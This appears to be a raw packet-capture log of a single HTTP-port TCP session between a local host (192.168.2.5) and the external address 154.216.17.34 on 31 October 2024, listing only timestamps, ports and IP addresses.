Oct 31, 2024 02:09:12.910528898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910528898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910566092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910576105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910602093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910613060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910653114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910763979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910774946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910787106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910815954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910826921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910844088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910854101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910865068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910876036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.910897970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.910922050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911017895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911029100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911072016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911274910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911308050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911323071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911330938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911350012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911358118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911365986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911370039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911380053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911416054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911473989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911516905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911520958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911535025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911549091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911561012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911561012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911581993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911597013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911611080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911731005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911767960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911777973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911780119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911808968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911818981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911881924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911892891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911902905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.911931038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.911952972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937424898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937446117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937458038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937469959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937485933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937522888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937542915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937577009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937616110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937628031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937649012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937649012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937649012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937649012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937659979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937674046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937716007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937721968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937727928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937748909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.937757015 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937774897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.937791109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.961497068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961508036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961517096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961673975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.961673975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.961682081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961692095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961704016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961715937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961736917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.961765051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.961766958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961777925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.961823940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.961823940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.962156057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962167978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962177992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962219000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.962286949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.962359905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962398052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962409019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962419033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962425947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.962440968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.962460995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.962924004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962934971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962944031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.962976933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.962986946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.963229895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963238955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963249922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963280916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.963304996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.963316917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963326931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963340044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963367939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.963397026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.963756084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963779926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963790894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.963804007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.963814974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.963834047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.963965893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.964010000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.964024067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.964034081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.964044094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.964067936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.964080095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.964255095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.964267969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.964277983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:12.964306116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:12.964333057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002150059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002191067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002218008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002239943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002242088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002281904 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002299070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002310038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002345085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002355099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002355099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002382040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002393007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002398014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002403021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002413988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002429008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002449989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002480030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002511978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002526999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002537012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002564907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002584934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002769947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002821922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.002846956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.002897024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.017194986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017218113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017229080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017275095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.017275095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.017292023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017304897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017334938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.017358065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.017877102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017895937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017905951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017929077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.017937899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.017956972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.017988920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.018038034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018049955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018060923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018073082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018085957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018085957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.018116951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.018130064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.018188953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018232107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018232107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.018244028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018254995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018276930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.018300056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.018362999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018407106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.018430948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.018471956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027338982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027393103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027405024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027415037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027426004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027437925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027448893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027448893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027491093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027517080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027528048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027540922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027561903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027582884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027605057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027616978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027627945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027723074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027842045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027869940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027873039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027879953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027905941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027920008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027930021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027940989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027952909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.027971029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.027991056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028151035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028191090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028239965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028249979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028268099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028279066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028284073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028304100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028310061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028326035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028347015 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028415918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028425932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028436899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028455973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028485060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028533936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028543949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028574944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028584003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028620005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028626919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028637886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028671026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028681040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028742075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028752089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028784990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028786898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028804064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028815031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028825998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028856039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.028944016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028954983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028959990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.028992891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.029022932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.054332018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054346085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054357052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054369926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054380894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054392099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054408073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054476976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054490089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054501057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054512978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054595947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.054595947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.054601908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054613113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054636002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.054644108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054644108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.054653883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054692984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.054706097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054752111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.054766893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054780006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054790020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.054814100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.054831982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.078275919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078289032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078299999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078336954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.078388929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.078563929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078603983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.078604937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078617096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078644991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078649998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.078658104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078671932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.078706026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.078896046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078907013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.078943968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.079210043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.079243898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.079252958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.079258919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.079292059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.079303026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.079673052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.079714060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.079716921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.079757929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.079793930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.079803944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.079838991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080060959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080074072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080084085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080106974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080125093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080127001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080137968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080148935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080168009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080188036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080594063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080640078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080641031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080651999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080673933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080684900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080698013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080710888 CET	49982	80	192.168.2.5	154.216.17.34
